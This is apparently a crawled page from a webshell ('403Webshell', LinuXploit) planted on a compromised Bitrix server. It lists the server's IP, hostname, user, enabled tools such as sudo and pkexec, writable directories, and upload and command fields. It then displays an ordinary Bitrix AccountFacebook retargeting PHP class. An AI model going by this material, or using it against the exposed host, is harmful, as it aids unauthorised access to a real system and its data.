403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/seo/lib/retargeting/services/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/seo/lib/retargeting/services/accountfacebook.php
<?

namespace Bitrix\Seo\Retargeting\Services;

use Bitrix\Main\Application;
use \Bitrix\Seo\Retargeting\Account;

class AccountFacebook extends Account
{
	const TYPE_CODE = 'facebook';

	const REGIONS_LIST_CACHE_TTL = 60*60*24*30; // 1 month

	protected static $listRowMap = array(
		'ID' => 'ACCOUNT_ID',
		'NAME' => 'NAME',
	);

	public function getList()
	{
		return $this->getRequest()->send(array(
			'methodName' => 'retargeting.account.list',
			'parameters' => array()
		));
	}

	public function getProfile()
	{
		$response = $this->getRequest()->send(array(
			'methodName' => 'retargeting.profile',
			'parameters' => array()
		));

		if ($response->isSuccess())
		{
			$data = $response->fetch();
			return array(
				'ID' => $data['ID'],
				'NAME' => $data['NAME'],
				'LINK' => $data['LINK'],
				'PICTURE' => $data['PICTURE'] ? $data['PICTURE']['data']['url'] : null,
			);
		}

		return null;
	}

	public function getRegionsList()
	{
		$cache = Application::getInstance()->getManagedCache();
		$cacheId = 'seo|facebook|audience|region_list|'.LANGUAGE_ID;
		$data = [];

		if ($cache->read(static::REGIONS_LIST_CACHE_TTL, $cacheId))
		{
			$data = $cache->get($cacheId);
		}
		else
		{
			$result = $this->getRequest()->send(array(
				'methodName' => 'retargeting.audience.regions',
				'parameters' => array()
			));

			if ($result->isSuccess())
			{
				foreach($result->getData() as $region)
				{
					$data[] = [
						'id' => $region['key'],
						'name' => $region['name']
					];
				}
				usort($data, function ($a, $b)
				{
					return strcmp($a['name'], $b['name']);
				});
				$cache->set($cacheId, $data);
			}
		}

		return $data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit